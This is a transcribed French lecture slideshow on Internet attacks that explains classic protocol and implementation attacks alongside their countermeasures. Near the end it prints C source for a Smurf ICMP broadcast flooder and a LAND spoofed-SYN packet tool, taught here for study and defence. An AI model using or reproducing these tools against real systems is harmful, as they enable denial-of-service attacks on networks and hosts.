La présentation est en train de télécharger. S'il vous plaît, attendez

La présentation est en train de télécharger. S'il vous plaît, attendez

Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

Présentations similaires


Présentation au sujet: "Attaques Internet Ahmed Serhrouchni ENSTParis CNRS."— Transcription de la présentation:

1 Attaques Internet Ahmed Serhrouchni ENSTParis CNRS

2 2 Plan Introduction –Choix protocolaires – Implications –Typologie Les attaques sur les choix dimplantation Les attaques sur le design des protocoles Les attaques sur les détournements et usurpations Les attaques sur les bugs des logiciels

3 Introduction.

4 4 Choix protocolaires. Simple Léger Pas ou peu de contrôle Optimisation et confiance

5 5 Implications. Les attaques sur les protocoles de communications –exploiter les failles des protocoles IP, ICMP, TCP, UDP Les attaques sue les applications –Attaquer les applications SMTP, DNS, SNMP, X-Window, NFS, HTTP, FTP Les attaques sur linformation –Lécoute de données communiquées sur le réseau –La modification des données communiquées sur le réseau Les attaques sur les systèmes –Le vol de mot de passe –Laccès aux fichiers et répertoires sans autorisation

6 6 Typologie. (1/2) Quelques classifications : –les effets : DoS (Denial of Service), intrusions, corruptions, –les protocoles : icmp, ip, tcp, dns, … –les systèmes d exploitation

7 7 Typologie. (2/2) Classification selon: –Choix dimplémentation : buffer overflow, Ping of death, land, TCP syn, Teardrop … –Conception des protocoles : Smurf:, (bombing, spamming), UDP-bombing, ftp bounce, prédiction des numéros de séquence de TCP, TCP connection killing … –Usurpation ou modification: sniffing, ARP spoofing, IP spoofing, TCP hijacking, spoofing, dns cache poisonning, web spoofing … –Bugs : –Volontaires (virus, cheval de troie …) –Non volontaires (netscape server …)

8 8 Attaques - Les choix d implémentations Ping of Death Description Ping est basé sur icmp echo/reply Taille maximum d un paquet IP octets ICMP est encapsulé par IP L attaque consiste à générer des paquets ICMP de taille (8 octets pour le header icmp et 20 octets pour le header IP) Fragmentaton à la source, le réassemblage provoque le crash du buffer de l émetteur

9 9 Attaques - Les choix d implémentations Ping of Death Effet : crash ou reboot de la machine Parade: software (patches)

10 10 Attaques - Les choix d implémentations Teardrop Les tailles de MTU différentes impliques la fragmentation des paquets Champ: identification, flags et fragment offset Attaque par altération du fragment offset Effet: –crah de la machine Parade : –patche

11 11 Attaques - Les choix d implémentations Land Forge des segments TCP syn avec l adresse source identique à l adresse de la machine victime Effet : –crash de la machine Parade: –software ou filtrage

12 12 Attaques - Les choix d implémentations TCP SYN Flooding L établissement d une connexion s effectue par un three-way handshake SYN x SYN y, ACK x+1 ACK y+1 LISTEN SYN_RECVD CONNECTED

13 13 Attaques - Les choix d implémentations TCP SYN Flooding Allocation des structures: inpcb, tcpcb Attente dans l état SYN_RECVD (75s) Nombre limité de connexions dans cet état Effet: –perte de connectivité Parade : –réduction du timer, –augmentation du nbr. de connexions semi-ouvertes, –désactivations des ports inutiles, –filtrage, et proxy

14 14 Attaques - Les choix d implémentations Buffer Overflow Attaques sur les OS multitâches (unix, WNT) Pour obtenir des droits d accès privilégiés Processus en exécution avec les droits suid Processus en mémoire: zones (code ou texte, données, pile) La pile est alloué de façon dynamique: –variables locales et pointeur sur l adresse retour après exécution Appel à une fonction qui fait déborder la pile Adresse retour réécrite par ce procédé

15 15 Attaques - Les choix d implémentations Buffer Overflow Effet : crash ou obtention d un accès privilégié Parades: –vérification du remplissage des tampons, –modifications des programmes et des compilateurs (remplacement des fonctions vulnérables: copie et concaténation) –modification du noyau pour marquer la pile non exécutable

16 16 Attaques – Le design des protocoles Saturation des ressources systèmes : - bombing/spamming, Smurf Saturation des ressources réseau : Smurf, UDP-bombing,

17 17 Attaques - Le design des protocoles Bombing/Spamming Envoi d un message répété à une même adresse Spamming variante du bombing : le message est envoyé à des centaines ou milliers d adresses Falsification de l adresse d origine Effets : –congestion du réseau –crash du serveur de messagerie –indisponibilité des ressources physique

18 18 Attaques - Le design des protocoles Bombing/Spamming Effets (suite) : –indisponibilité du serveur, des ressources physique, et de l entrée syslog Parades : –Supervision, –filtrage, –proxy

19 19 Attaques - Le design des protocoles Smurf Envoi de ICMP echo vers une adresse broadcast dont l adresse source est celle de la victime Effet : –congestion du réseau intermédiaire et de la victime Parades : –filtrage (au niveau des trois réseaux), –OS: ne pas répondre pour des adresses broadcast

20 20 Attaques - Le design des protocoles UDP bombing Faire conserver deux ports qui générent du trafic (ex: chargen port 19, echo port 7) Mettre en relation le port 19 de la première victime avec le port 7 de la deuxième victime Effets : –si les deux ports sont sur la même machine les performances de celle-ci se dégradent –si les deux ports sont sur des machines différentes ceci provoque la congestion du réseau

21 21 Attaques - Le design des protocoles UDP bombing Parades : –filtrage de tous les services sur UDP à l exception du port 53 (dns) –désactiver tous les ports udp inutiles

22 22 Attaques - Le design des protocoles FTP bounce Deux ports tcp l un pour les commandes et l autre pour les données La commande PORT n 1,n 2,n 3,n 4,n 5,n 6 de ftp Détournement des données en changeant les paramètres n i Utilisé pour contourner un firewall Effets : –intrusion dans un réseau –dtournement du fltrage

23 23 Attaques - Le design des protocoles FTP bounce Parades : –Bien étudier l usage des serveurs ftp –Architecture : isoler le serveur ftp –Software: contrôler l usage de la commande PORT ( package wu-ftpd) –Proxy : élimine les cdes ports ayant comme origine un service interne connu –Authentification forte

24 24 Attaques - Le design des protocoles Prédiction des numéros de séquence de TCP Prédire le numéro de séquence initial Etablissement d une connexion et mesure du RTT pour prédire l ISN Substitution d une adresse reconnue Effet : –Etablissement d une connexion non autorisée Parade : –Implémentation (un espace de numéro de séquence séparé pour chaque connexion) –Authentification (IPsec)

25 25 Attaques - Le design des protocoles TCP connection killing Envoi d un segment TCP avec le bit RST : possible uniquement si le numéro de séquence est connu Effet : –Perte de connectivité Parade : –Autentification (Ipsec)

26 26 Attaques - Les détournements et interceptions Ecoute du trafic (sniffing ou eavesdrpping) Se faire passer pour interlocuteur légitime aux niveaux: – liaison des données (ARP spoofing) –réseau (IP spoofing, TCP hijacking) –applicatif ( spoofing, dns spoofing, web spoofing)

27 27 Attaques - Les détournements et interceptions Sniffing ou eavesdropping Ecoute indiscrète des données sur un réseau Sur le chemin des communicants Attaque passive, les informations recueillis peuvent servir pour une attaque active Effet : –perte de confidentialité et donc d information sensible (mot de passe) Parades : –Chiffrement (Ipsec) –Architecture de réseau

28 28 Attaques - Les détournements et interceptions ARP spoofing Répondre à une trame ARP who is? Par une trame ARP reply avec une adresse MAC qui ne correspond pas à l adresse IP Possibilité de prendre en compte un ARP reply sans qui y ait eu auparavant de ARP who is? ARP est sans état,l attaquant peu anticipé sur les requêtes Effets : –Perte de connectivité réseau –redirection du trafic

29 29 Attaques - Les détournements et interceptions ICMP redirect et destination unreable Utilisation du message ICMP-redirect –Un pirate envoie à une machine un ICMP-redirect lui indiquant un autre chemin à suivre Utilisation du message ICMP-unreachable destination –Un pirate peut envoyer ce message vers une machine –La machine ne peut plus joindre ce réseau

30 30 Attaques - Les détournements et interceptions ICMP redirect et destination unreable Effets : –perte de connectivité –déni de service Parades : –filtrage –authentification (Ipsec)

31 31 Attaques - Les détournements et interceptions IP spoofing IP spoofing correspond à l usurpation d adresse IP se S par A vers D Détournement du trafic si A n est pas sur le même chemin entre S et D Nécessite de prédire le numéro de séquence Possibilité d utiliser : – le routage par la source –ICMP redirect –protocole de routage RIP

32 32 Attaques - Les détournements et interceptions IP spoofing

33 33 Attaques - Les détournements et interceptions IP spoofing Effet : –prendre les privilèges de S Parades : –Configuration pour ICMP redirect et RIP –Filtrage (source routing, adresse IP) –Authentification (Ipsec)

34 34 Attaques - Les détournements et interceptions TCP hijacking Connexion TCP entre S et D A se substitue à S Utilisation de plusieurs attaques : –IP spoofing, –ICMP redirect, –TCP connection killing Effets : –détournement d une communication autorisée –Contourne les protections d authentificaion forte de l utilisateur SKEY et Kerberos

35 35 Attaques - Les détournements et interceptions TCP hijacking Parade : –Authentification (Ipsec)

36 36 Attaques - Les détournements et interceptions spoofing Absence d authentification –Aucun mécanisme d authentification auprès des serveurs mails, de plus vous ne savez pas qui réellement vous écrit Pas de garantie d intégrité de message –Toute personne interceptant le message peut en modifier le contenu Effets : –usurpation d adresse (demande de changement d information sensible) –cacher son identité pour une attaque

37 37 Attaques - Les détournements et interceptions spoofing Parades : –Architecture (utiliser un firewall comme frontal) –Empêcher toute connexion directe sur le port SMTP par configuration du mail delivery deamon –Authentification (par signature : PGP, SSL, S/MIME)

38 38 Attaques - Les détournements et interceptions DNS spoofing Altérer directement les tables d un serveur de noms Communiquer de mauvaises cache poisoning Effets : –détourner le trafic vers l attaquant (applications sensibles : messagerie et web) –Connexions illicites par applets Parades : –DNSsec une signature associée à chaque entrée –Pour les applets java vérifier les diff. adresses

39 39 Attaques - Les détournements et interceptions Web spoofing Attaque de type man in middle : le serveur de l attaquant détourne les requêtes HTTP de la victime La victime navigue dans un faux web Initialisation de l attaque: –l attaquant amène la victime à visiter son site (par ou par sa figuration dans une indexation d un moteur de recherche) –la victime télécharche un script java Ce script java détourne toutes les requêtes de la victime vers l attaquant

40 40 Attaques - Les détournements et interceptions Web spoofing Effets : –surveillance de l activité de la victime, et vol de données –altération des données, Parades : –désactivation de javascript –proxy : repère et refuse des echanges HTTP avec réécriture des URL

41 41 Exemples: Smurf (1/5) #include void main (int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; int i, sock, delay, num, pktsize, bcast = 1, cycle = 10;

42 42 Exemples: Smurf (2/5) char *bcastaddr[] = { " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", NULL };

43 43 Exemples: Smurf (3/5) if (argc < 6) usage(argv[0]); if ((he = gethostbyname(argv[1])) == NULL) { perror("resolution source host"); exit(-1); } memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

44 44 Exemples: Smurf (4/5) for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("[1;34m."); fflush(stdout); } if (atoi(argv[2]) == 0) { smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == NULL) cycle = 0; } else smurf(sock, sin, inet_addr(argv[2]), pktsize); usleep(delay); } void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize) { struct iphdr *ip; struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

45 45 Exemples: Smurf (5/5) memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize); sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); free(packet); }

46 46 Exemples: LAND (1/4) int main(int argc,char * * argv) { struct sockaddr_in sin; struct hostent * hoste; int sock; char buffer[40]; struct iphdr * ipheader=(struct iphdr *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr)); struct pseudohdr pseudoheader; if(argc<3) { fprintf(stderr,"usage: %s IP port\n",argv[0]); return(-1); }

47 47 Exemples: LAND (2/4) bzero(&sin,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); }

48 48 Exemples: LAND (3/4) if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->version=4; ipheader->ihl=sizeof(struct iphdr)/4; ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->id=htons(0xF1C); ipheader->ttl=255; ipheader->protocol=IP_TCP; ipheader->saddr=sin.sin_addr.s_addr; ipheader->daddr=sin.sin_addr.s_addr;

49 49 Exemples: LAND (4/4) tcpheader->th_sport=sin.sin_port; tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0xF1C); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in)); close(sock); return(0); }

50 50 Conclusion Questions et débat


Télécharger ppt "Attaques Internet Ahmed Serhrouchni ENSTParis CNRS."

Présentations similaires


Annonces Google